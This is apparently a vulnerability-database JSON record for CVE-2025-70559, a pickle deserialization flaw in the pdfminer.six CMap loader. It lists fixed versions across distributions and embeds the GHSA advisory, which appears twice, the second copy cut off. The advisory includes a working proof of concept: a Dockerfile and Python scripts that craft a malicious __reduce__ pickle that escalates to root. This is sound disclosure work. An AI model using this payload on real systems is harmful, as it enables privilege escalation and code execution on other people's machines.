{"id":"CVE-2025-70559","aliases":["DEBIAN-CVE-2025-70559","DLA-4374-2","EUVD-2025-206704","GHSA-f83h-ghpp-7wcc","OESA-2026-4210","OESA-2026-4211","PYSEC-2026-1761","UBUNTU-CVE-2025-70559","USN-8837-1"],"status":"published","title":"Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-11","score":0.0032,"percentile":0.25266,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-502","CWE-915"],"published":"2025-11-07T23:17:05Z","modified":"2026-10-28T02:30:49Z","exploits":[{"source":"pocgithub","id":"isukasanuj/CVE-2025-70559","title":"isukasanuj/CVE-2025-70559","date":"2026-08-15","url":"https://github.com/isukasanuj/CVE-2025-70559"}],"fixes":[{"ecosystem":"PyPI","package":"pdfminer-six","fixed_in":["20251230"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"pdfminer","fixed_in":["20260107+dfsg-1"],"sources":["osv"]},{"ecosystem":"Debian:11","package":"pdfminer","fixed_in":["20200726-1+deb11u2"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"python-pdfminer.six","fixed_in":["20231228-4.oe2403sp3"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-pdfminer.six","fixed_in":["20231228-4.oe2403sp1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pdfminer","fixed_in":["20140328+dfsg-1ubuntu0.16.04.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pdfminer","fixed_in":["20140328+dfsg-1ubuntu0.18.04.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pdfminer","fixed_in":["20191020+dfsg-2ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"pdfminer","fixed_in":["20220319+dfsg-1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"pdfminer","fixed_in":["20221105+dfsg-1ubuntu0.1~esm1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pdfminer-six","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20251230"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20221105+dfsg-1","20221105+dfsg-1.1","20221105+dfsg-1.1~deb12u1","20221105+dfsg-1.1~deb13u1","20260107+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20221105+dfsg-1","20221105+dfsg-1.1","20221105+dfsg-1.1~deb12u1","20221105+dfsg-1.1~deb13u1","20260107+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20260107+dfsg-1"}]}],"versions":["20221105+dfsg-1","20221105+dfsg-1.1","20221105+dfsg-1.1~deb12u1","20221105+dfsg-1.1~deb13u1"]},{"source":"osv","ecosystem":"Debian:11","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20200726-1+deb11u2"}]}],"versions":["20200726-1","20200726-1+deb11u1"]},{"source":"osv","ecosystem":"PyPI","package":"pdfminer-six","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20251230"}]}],"versions":["20140915","20151013","20160202","20160614","20170418","20170419","20170720","20181108","20191020","20191107","20191110","20200104","20200121","20200124","20200401","20200402","20200517","20200720","20200726","20201018","20211012","20220319","20220506","20220524","20221105","20231228","20240706","20250324","20250327","20250416","20250506","20251107","20251227","20251228","20251229"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-pdfminer.six","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20231228-4.oe2403sp3"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-pdfminer.six","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20231228-4.oe2403sp1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pdfminer-six","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20251230"}]}],"versions":["20140915","20151013","20160202","20160614","20170418","20170419","20170720","20181108","20191020","20191107","20191110","20200104","20200121","20200124","20200401","20200402","20200517","20200720","20200726","20201018","20211012","20220319","20220506","20220524","20221105","20231228","20240706","20250324","20250327","20250416","20250506","20251107","20251227","20251228","20251229"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20140328+dfsg-1ubuntu0.16.04.1~esm1"}]}],"versions":["20110515+dfsg-1","20140328+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20140328+dfsg-1ubuntu0.18.04.1~esm1"}]}],"versions":["20140328+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20191020+dfsg-2ubuntu0.1~esm1"}]}],"versions":["20181108+dfsg-3","20191020+dfsg-1","20191020+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20220319+dfsg-1ubuntu0.1~esm1"}]}],"versions":["20200726-1","20201018+dfsg-1","20220319+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20221105+dfsg-1ubuntu0.1~esm1"}]}],"versions":["20221105+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20221105+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20140328+dfsg-1ubuntu0.16.04.1~esm1"}]}],"versions":["20110515+dfsg-1","20140328+dfsg-1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20140328+dfsg-1ubuntu0.18.04.1~esm1"}]}],"versions":["20140328+dfsg-1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20191020+dfsg-2ubuntu0.1~esm1"}]}],"versions":["20181108+dfsg-3","20191020+dfsg-1","20191020+dfsg-2"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20220319+dfsg-1ubuntu0.1~esm1"}]}],"versions":["20200726-1","20201018+dfsg-1","20220319+dfsg-1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"pdfminer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20221105+dfsg-1ubuntu0.1~esm1"}]}],"versions":["20221105+dfsg-1"],"bundled":2}],"references":[{"url":"https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc","tags":["advisory","web","report"]},{"url":"https://github.com/advisories/GHSA-f83h-ghpp-7wcc","tags":["advisory","report"]},{"url":"https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-70559","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/70xxx/CVE-2025-70559.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-70559","tags":["advisory"]},{"url":"https://github.com/pdfminer/pdfminer.six","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4210","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4211","tags":["advisory"]},{"url":"https://pypi.org/project/pdfminer-six","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-70559","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-70559","tags":["report"]},{"url":"https://github.com/pdfminer/pdfminer.six/pull/1172","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8837-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-64512","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-70559","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","status":"published","published":"2026-02-03T00:00:00Z","modified":"2026-02-11T17:14:25.693Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"adp"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:25.186422Z"}],"euvd":[{"id":"EUVD-2025-206704","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","status":"published","published":"2026-02-03T00:00:00Z","modified":"2026-02-11T17:14:25Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:40.797648Z"}],"ghsa":[{"id":"GHSA-f83h-ghpp-7wcc","title":"Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","description":"### 🚀 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🚨 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## 📚 Table of Contents\n\n- [🔍 Background](#-background)\n- [🐍 Vulnerability Description](#-vulnerability-description)\n- [🎭 Demo Scenario](#-demo-scenario)\n- [🧨 Technical Details](#-technical-details)\n- [🔧 Setup and Usage](#-setup-and-usage)\n- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [🛡️ Security Standards \u0026 References](#-security-standards--references)\n---\n\n## 🔍 Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.\n\n\u003e 🐍 **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### 🐍 Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### 🎭 Demo Scenario\n\n**Environment:**\n- 🐧 Alpine Linux (Docker container)\n- 👨‍💻 Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- 🗂️ Shared writable directory: `/tmp/uploads`\n- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- 📦 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. 💣 The malicious pickle is deserialized, running arbitrary code as root.\n4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 🧨 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`'s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🔧 Setup and Usage\n\n### 📁 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1️⃣ Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2️⃣ In the container, open two shells in parallel (or switch users in one):\n\n#### 🕵️‍♂️ Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### 👑 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3️⃣ Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# 🏴 Output: ROOTED by pdfminer pickle RCE\n```\n\n\u003cimg width=\"815\" height=\"889\" alt=\"proof-of-exploit\" src=\"https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc\" /\u003e\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 📝 Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🛡️ Security Standards \u0026 References\n\n- **CVSS (Common Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)","status":"published","published":"2025-11-07T23:17:05Z","modified":"2026-02-04T16:49:50Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502","CWE-915"],"updated_at":"2026-11-02T14:39:22.637668Z"}],"nvd":[{"id":"CVE-2025-70559","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","status":"published","published":"2026-02-03T18:16:17.783Z","modified":"2026-06-17T10:03:20.637Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:11:59.832225Z"}],"osv":[{"id":"CVE-2025-70559","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","status":"published","published":"2026-02-03T00:00:00Z","modified":"2026-10-28T02:30:49.771144204Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:52.859856Z"},{"id":"DEBIAN-CVE-2025-70559","description":"pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.","status":"published","published":"2026-02-03T18:16:17.783Z","modified":"2026-09-01T20:05:58.190543931Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:48.025964Z"},{"id":"GHSA-f83h-ghpp-7wcc","title":"Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc","description":"### 🚀 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🚨 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## 📚 Table of Contents\n\n- [🔍 Background](#-background)\n- [🐍 Vulnerability Description](#-vulnerability-description)\n- [🎭 Demo Scenario](#-demo-scenario)\n- [🧨 Technical Details](#-technical-details)\n- [🔧 Setup and Usage](#-setup-and-usage)\n- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [🛡️ Security Standards \u0026 References](#-security-standards--references)\n---\n\n## 🔍 Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.\n\n\u003e 🐍 **Security Issue:**\n\u003e If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### 🐍 Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### 🎭 Demo Scenario\n\n**Environment:**\n- 🐧 Alpine Linux (Docker container)\n- 👨‍💻 Two users:\n  - `user1` (attacker: low-privilege)\n  - `root` (victim: runs privileged PDF-processing script)\n- 🗂️ Shared writable directory: `/tmp/uploads`\n- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- 📦 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. 💣 The malicious pickle is deserialized, running arbitrary code as root.\n4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 🧨 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n  ```python\n  return type(str(name), (), pickle.loads(gzfile.read()))\n  ```\n  *In `pdfminer/cmapdb.py`'s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🔧 Setup and Usage\n\n### 📁 Files\n#### \u003c/\u003e Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git \u0026\u0026 \\\n    cd pdfminer.six \u0026\u0026 \\\n    git fetch --all \u0026\u0026 \\\n    git checkout ${PM_COMMIT} \u0026\u0026 \\\n    pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 \u0026\u0026 \\\n    mkdir -p /tmp/uploads \u0026\u0026 \\\n    chown user1:user1 /tmp/uploads \u0026\u0026 \\\n    chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### \u003c/\u003e evilmod.py\n```python\nimport os\n\ndef evilFunc():\n    with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n        f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n    return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### \u003c/\u003e createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n    def __reduce__(self):\n        return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### \u003c/\u003e processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1️⃣ Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2️⃣ In the 